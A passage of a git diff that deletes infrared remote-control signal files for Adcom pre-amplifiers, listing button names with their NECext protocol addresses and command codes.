SKIP_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 01 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 04 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 04 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: DISC_SKIP_+ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 07 00 00 00 -# -name: DISC_SKIP_- -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 08 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 09 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0A 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0B 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0B 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0C 00 00 00 -# -name: MANUAL_SRCH_FWD_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0C 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0C 00 00 00 -# -name: FR_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0D 00 00 00 -# -name: MANUAL_SRCH_REV_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0D 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0E 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 18 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 19 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 19 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1A 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1A 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1B 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1C 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1D 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1E 00 00 00 -# -name: MEMORY_CLEAR -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1F 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1F 00 00 00 -# -name: REPEAT_CLEAR -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 46 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 48 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 49 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4B 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4E 00 00 00 -# -name: POLARITY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir deleted file mode 100644 index 02110baff..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MAIN_POWER_ON_D -type: parsed -protocol: NECext -address: E8 1A 00 00 -command: 2A 00 00 00 -# -name: MAIN_POWER_ON_C -type: parsed -protocol: NECext -address: E8 1A 00 00 -command: 54 00 00 00 -# -name: MAIN_POWER_OFF_C -type: parsed -protocol: NECext -address: E8 1A 00 00 -command: 55 00 00 00 -# -name: MAIN_POWER_OFF_D -type: parsed -protocol: NECext -address: E8 1A 00 00 -command: AA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir deleted file mode 100644 index 25d3390c1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir +++ /dev/null @@ -1,1088 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_SKIP_FWD_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 00 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 00 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 00 00 00 00 -# -name: CD_SKIP_REV_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 01 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 01 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 01 00 00 00 -# -name: RDS -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 02 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 03 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 04 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 04 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 04 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 07 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 07 00 00 00 -# -name: CD_SCAN_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0C 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0C 00 00 00 -# -name: CD_SCAN_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0D 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0D 00 00 00 -# -name: CD_PAUSE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0E 00 00 00 -# -name: CD_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 10 00 00 00 -# -name: 1_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 10 00 00 00 -# -name: CD_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 11 00 00 00 -# -name: 2_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 11 00 00 00 -# -name: CD_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 12 00 00 00 -# -name: 3_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 12 00 00 00 -# -name: CD_4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 13 00 00 00 -# -name: 4_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 13 00 00 00 -# -name: CD_5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 14 00 00 00 -# -name: 5_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 14 00 00 00 -# -name: CD_6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 15 00 00 00 -# -name: 6_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 15 00 00 00 -# -name: CD_7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 16 00 00 00 -# -name: 7_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 16 00 00 00 -# -name: CD_8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 17 00 00 00 -# -name: 8_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 17 00 00 00 -# -name: CD_9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 18 00 00 00 -# -name: 9_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 18 00 00 00 -# -name: CD_+10 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 19 00 00 00 -# -name: +10_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 19 00 00 00 -# -name: CD_0 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1A 00 00 00 -# -name: 0_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1A 00 00 00 -# -name: CD_DISC_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1B 00 00 00 -# -name: CD_DISC_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1C 00 00 00 -# -name: CD_DISC_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1D 00 00 00 -# -name: CD_DISC_4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1E 00 00 00 -# -name: CD_DISC_5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 40 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 42 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 43 00 00 00 -# -name: REPEAT_(CD) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 49 00 00 00 -# -name: CD_RANDOM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4E 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4E 00 00 00 -# -name: BAL_CHK -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 50 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 50 00 00 00 -# -name: CENTER_V -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 52 00 00 00 -# -name: REAR_V -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 53 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 57 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 57 00 00 00 -# -name: CENTER_^ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5A 00 00 00 -# -name: REAR_^ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5B 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5C 00 00 00 -# -name: D120 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 78 00 00 00 -# -name: D2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 79 00 00 00 -# -name: D3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7A 00 00 00 -# -name: D4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7B 00 00 00 -# -name: D5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7C 00 00 00 -# -name: D6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7D 00 00 00 -# -name: D7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7E 00 00 00 -# -name: D8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 7F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 80 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 80 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 81 00 00 00 -# -name: D9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 81 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 82 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 82 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 83 00 00 00 -# -name: VIDEO/AUX -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 84 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 84 00 00 00 -# -name: AUX2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 84 00 00 00 -# -name: AUX_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 84 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 84 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 85 00 00 00 -# -name: TUNER_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 85 00 00 00 -# -name: VIDEO3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 85 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 86 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 86 00 00 00 -# -name: VIDEO4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 86 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 87 00 00 00 -# -name: VIDEO5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 87 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 88 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 88 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 89 00 00 00 -# -name: TUNER_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 89 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 89 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 89 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8A 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8A 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8A 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8B 00 00 00 -# -name: AUX1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8B 00 00 00 -# -name: AUX_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8B 00 00 00 -# -name: TUNER_TUNING_> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8C 00 00 00 -# -name: TUNING_> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8C 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8C 00 00 00 -# -name: TUNER_TUNING_< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8D 00 00 00 -# -name: TUNING_< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8D 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8D 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8E 00 00 00 -# -name: TUNER_+10 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8E 00 00 00 -# -name: GROUP_A -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8E 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8E 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8F 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8F 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 90 00 00 00 -# -name: TUNER_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 90 00 00 00 -# -name: PRESET_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 90 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 90 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 91 00 00 00 -# -name: TUNER_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 91 00 00 00 -# -name: PRESET_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 91 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 91 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 92 00 00 00 -# -name: TUNER_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 92 00 00 00 -# -name: PRESET_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 92 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 92 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 93 00 00 00 -# -name: TUNER_4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 93 00 00 00 -# -name: PRESET_4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 93 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 93 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 94 00 00 00 -# -name: TUNER_5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 94 00 00 00 -# -name: PRESET_5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 94 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 94 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 95 00 00 00 -# -name: TUNER_6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 95 00 00 00 -# -name: PRESET_6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 95 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 95 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 96 00 00 00 -# -name: TUNER_7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 96 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 96 00 00 00 -# -name: TUNER_8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 97 00 00 00 -# -name: TUNER_9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 98 00 00 00 -# -name: GROUP_> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 99 00 00 00 -# -name: TUNER_0 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 9A 00 00 00 -# -name: GROUP_B -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 9B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 9C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 9D 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 9E 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 9F 00 00 00 -# -name: DYNAMIC_RANGE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: C1 00 00 00 -# -name: EXTERNAL_5.1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: C1 00 00 00 -# -name: BACKS -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: C5 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: C6 00 00 00 -# -name: BALANCE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: C7 00 00 00 -# -name: DIM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: CA 00 00 00 -# -name: ROOM_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: CB 00 00 00 -# -name: P._SCAN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: CC 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D1 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D1 00 00 00 -# -name: MASTER_VOL_V -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D1 00 00 00 -# -name: LEVEL_- -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D1 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D1 00 00 00 -# -name: SUB_^ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D2 00 00 00 -# -name: SEEK_/_TUNE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D3 00 00 00 -# -name: PRESET/TUNE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D3 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D5 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D5 00 00 00 -# -name: MASTER_VOL_^ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D5 00 00 00 -# -name: LEVEL_+ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D5 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D5 00 00 00 -# -name: SUB_V -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D6 00 00 00 -# -name: ROOM_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D7 00 00 00 -# -name: GROUP_C -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D8 00 00 00 -# -name: EXT._PROC -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: DB 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: DC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir deleted file mode 100644 index 7e614677b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FM_MONO_MODE -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 14 00 00 00 -# -name: FM_STEREO_MODE -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 15 00 00 00 -# -name: BYPASS_ON -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 16 00 00 00 -# -name: BYPASS_OFF -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 17 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 54 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 54 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 55 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 55 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 56 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 57 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 80 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 81 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 82 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 83 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 84 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 85 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 87 00 00 00 -# -name: ROOM_1 -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 88 00 00 00 -# -name: REMOTE_INDIV -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 89 00 00 00 -# -name: REMOTE_ALL -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 8A 00 00 00 -# -name: TUNE_MODE -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 8B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: C0 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: C1 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: C2 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: C3 00 00 00 -# -name: BASE_- -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: C4 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: C5 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: C6 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: C7 00 00 00 -# -name: PRESET_MODE -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: C8 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: C9 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: CA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir deleted file mode 100644 index 95e44ae08..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 00 00 00 00 -# -name: TUNING_< -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 02 00 00 00 -# -name: TUNING_- -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 02 00 00 00 -# -name: TUNING_> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 03 00 00 00 -# -name: TUNING_+ -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 03 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 07 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 08 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 09 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0B 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0C 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0D 00 00 00 -# -name: VIDEO/TAPE_2 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0E 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 10 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext 